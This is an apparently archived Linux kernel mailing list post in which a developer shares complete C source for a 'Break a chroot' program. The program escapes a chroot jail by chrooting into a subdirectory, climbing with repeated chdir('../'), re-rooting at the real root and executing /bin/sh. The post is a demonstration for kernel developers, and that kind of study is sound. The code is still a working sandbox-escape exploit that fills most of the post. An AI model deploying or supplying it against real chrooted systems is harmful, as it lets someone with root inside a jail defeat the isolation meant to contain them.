Al Viro <viro@ftp.linux.org.uk> wrote:Here is some code I wrote a while back to demonstrate that escape method. /* * Break a chroot * * Compile this with * * gcc -static -Wall break-chroot.c -o break-chroot * * Get a root shell in the chrooted environment and run * * ./break-chroot * * Nick Craig-Wood <nick@craig-wood.com> * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <error.h> #include <dirent.h> #include <sys/stat.h> #include <sys/types.h> #define SHELL "bin/sh" /* no leading / */ int main(void) { struct stat buf; if (chdir("/")) perror("chdir /"), exit(1); printf("Making escape tunnel\n"); mkdir("/tmp", 01777); mkdir("/tmp/escape-tunnel", 0755); printf("Doing escape chroot leaving cwd behind\n"); if (chroot("/tmp/escape-tunnel")) perror("chroot /tmp/escape-tunnel"), exit(1); printf("Exploit cwd being above the root and find a " SHELL " to run\n"); do { printf("Going up...\n"); if (chdir("../")) perror("chdir ../"), exit(1); } while (stat(SHELL, &buf) != 0); printf("Chrooting back into the root directory\n"); if (chroot(".")) perror("chroot ."), exit(1); printf("If this doesn't error you are out of chroot!\n"); if (execl(SHELL, SHELL, 0)) perror("exec " SHELL), exit(1); printf("Something wicked happened!\n"); return 1; } -- Nick Craig-Wood <nick@craig-wood.com> -- http://www.craig-wood.com/nick -
| Heiko Carstens | Re: -mm merge plans for 2.6.23 -- sys_fallocate |
| Tarkan Erimer | Re: Dual-Licensing Linux Kernel with GPL V2 and GPL V3 |
| Greg KH | [GIT PATCH] driver core patches against 2.6.24 |
| Eric W. Biederman | [PATCH 0/10] sysfs network namespace support |
git: | |
| Gerrit Renker | [PATCH 27/37] dccp: Integration of dynamic feature activation - part 2 (server side) |
| David Miller | [GIT]: Networking |
| Jarek Poplawski | [PATCH] pkt_sched: Destroy gen estimators under rtnl_lock(). |
| Natalie Protasevich | [BUG] New Kernel Bugs |
